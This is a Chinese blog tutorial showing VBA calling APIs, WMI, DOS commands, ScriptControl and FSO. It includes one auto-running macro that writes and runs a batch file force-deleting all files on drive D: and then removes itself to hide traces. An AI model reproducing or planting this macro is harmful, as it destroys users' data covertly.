四时宝库

程序员的知识宝库

学会借力-才是上策【独家观察之VBA】

发现新大陆!

VBA完整的称呼是Visual Basic For Application

VBA是附属于软件中的编程语言,它的身影遍布全球,同时也遍布诸多主流软件。例如WORD、EXCEL、PPT、FrontPage、Outlook、CAD、Coreldraw等等软件都支持VBA,可见VBA应用的广泛性。

当然除此外,VBA还有一个特性:包容性。VBA语言起源于VB,但高于VB。也就是说先有VB,后有VBA,但是VB6.0停止开发后,VBA却在一步步升级,目前最新版是7.0。当然说VBA高于VB并非针对版本号,而是易用性,VBA相对VB有较大的改善。例如在窗体中添加控件,VBA中可以调置好一个控件后按住Ctrl键的同时拖动控件从而实现复制的功能,特别是一组

控件进行拖动时,可以实现复制一组控件,且属性一致,排版准确....VB是无法做到这一点的。当然还有很多很多的改进,例如VB中使用分组框Frame1后,里面的控件全变成“刮

刮卡”形式,背影变成黑色,让人无法看文字,这种BUG比较严重。还有按钮的前景色无法设置等等毛病,而VBA都进行了改进。

当然今天说的不止于此,主要谈VBA的包容性,即VBA可以使用VBA和VB的语言进行编程以外,它还可以调用其它语言,集万家所长,“它山之石可以攻玉”在此体现得淋漓尽致。

例如VBA可以调用API、ADO、SQL、DOS、VBS、WScript、FSO(FileSystemObject)、ScriptControl、WMI(Windows Management Instrumentation)以及专用于网页的语言。

________________________________________

有事实说话?Of Course!

例如VBA调用API:通过API函数判断当前是否按下了Alt\Shift或者Ctrl键。代码如下:

Private Declare Function GetKeyState Lib "user32" (ByVal vKey As Long) As Integer

Sub 测试状态()

If (GetKeyState(&H10) And &H8000) <> 0 Then MsgBox "Shift键被按下了"

If (GetKeyState(&H11) And &H8000) <> 0 Then MsgBox "Ctrl键被按下了"

If (GetKeyState(&H12) And &H8000) <> 0 Then MsgBox "Alt键被按下了"

End Sub

VBA调用WMI:通过WMI技术获取本机的分辨率设置。代码如五下:

Sub 计算分辨率()

Dim colItems, objItem As Object

Set colItems = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * From Win32_DisplayConfiguration")

For Each objItem In colItems

MsgBox "分辨率:" & objItem.PelsWidth & "* " & objItem.PelsHeight

Next

End Sub

VBA调用DOS:利用DOS命令删除所有文件,同时将自己也删除,实现隐弊的目的

Sub auto_open() '全自动执行删除所有文件(有点像病毒了,请大家不要随意测试,知道就行)

On Error Resume Next

Dim i As Integer

Dim delFile As String

delFile = "C:\del.bat"

i = FreeFile

Open delFile For Output Access Write As #i

Print #i, "@echo off"

Print #i, "del/f/s/q d:\*.*" '删除D盘下所有文件

Print #i, "del/f/s/q C:\del.bat" '删除自己,不留痕迹

Print #i, "@echo"

Close (i)

Shell Environ$("comspec") & " /c """ & delFile & """", vbMinimizedFocus '执行命令

End Sub

VBA调用ScriptControl:通过ScriptControl开发计算函数,可以突破VBA中Evaluate的限制

我们知道Evaluate顶多能计算256个字符的表达式,远远不能满足工作需求,而ScriptControl却可以实现1000个字符以上的表达式计算

代码如下:

'本函数可以计算表达式,例如将1+3转换成值4

Function 计算(rng As String) As String

Set obj = CreateObject("MSScriptControl.ScriptControl")

obj.Language = "vbscript"

计算 = obj.Eval(rng)

Set obj = Nothing

End Function

现在证明一下我的以上观点:

Sub 测试() '突破256限制

Dim str As String

For i = 1 To 500

str = str & "1+"

Next

MsgBox 计算(str & 1) '可以计算值为501

MsgBox Application.Evaluate(str & 1) '不能计算

End Sub

VBA调用FSO:利用FSO技术获取所有文件夹名称

Sub 将D盘所有文件夹名罗列在A列()

For Each Floder1 In CreateObject("Scripting.FileSystemObject").GetFolder("D:\").SubFolders

n = n + 1

Cells(n, 1) = Floder1.Name

Next

End Sub

___________________________________

为了更好的体现VBA的包容性,再给大家展示一个VBA同时调用FSO、WScript、DOS语言的综合应用,代码如下:

Sub 获取C盘以外所有磁盘的文件夹目录()

Dim FileSys As Object, Drv As Object, Letter As String

Set FileSys = CreateObject("Scripting.FileSystemObject") '引用FSO对象

On Error Resume Next '防错

For Each Drv In FileSys.Drives '遍历所有磁盘

If Drv.IsReady Then '如果磁盘已准备好(主要针对光盘或者虚拟盘)

If Drv.DriveLetter <> "C" Then Letter = Letter & Drv.DriveLetter & ":\ " '如果卷标不是C,那么将所有卷标合并

End If

Next Drv

Dim Str As String, objShell As Object

Set objShell = CreateObject("WScript.Shell") '引用WScript对象

Set DosExec = objShell.Exec("cmd.exe /c dir " & Letter & " /ad") '引用DOS命令提取文件夹目录

Str = DosExec.StdOut.ReadAll '将返回的值赋与变量Str

'将变量Str的值以换行符作为分隔符,将它转换成数组并写入到工作表中

[a1].Resize(UBound(Split(Str, Chr(10))) + 1, 1) = WorksheetFunction.Transpose(Split(Str, Chr(10)))

Set FileSys = Nothing '释放变量

Set DosExec = Nothing

Set objShell = Nothing

End Sub

结束语:

VBA相当强大,除了自身的强大外,它可以将别的软件的优点借用过来扩充自己。那么我们自己呢?

希望广大网友都可以通过学习VBA来武装自己,也使自己更强大,让自己更充实。

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言
    友情链接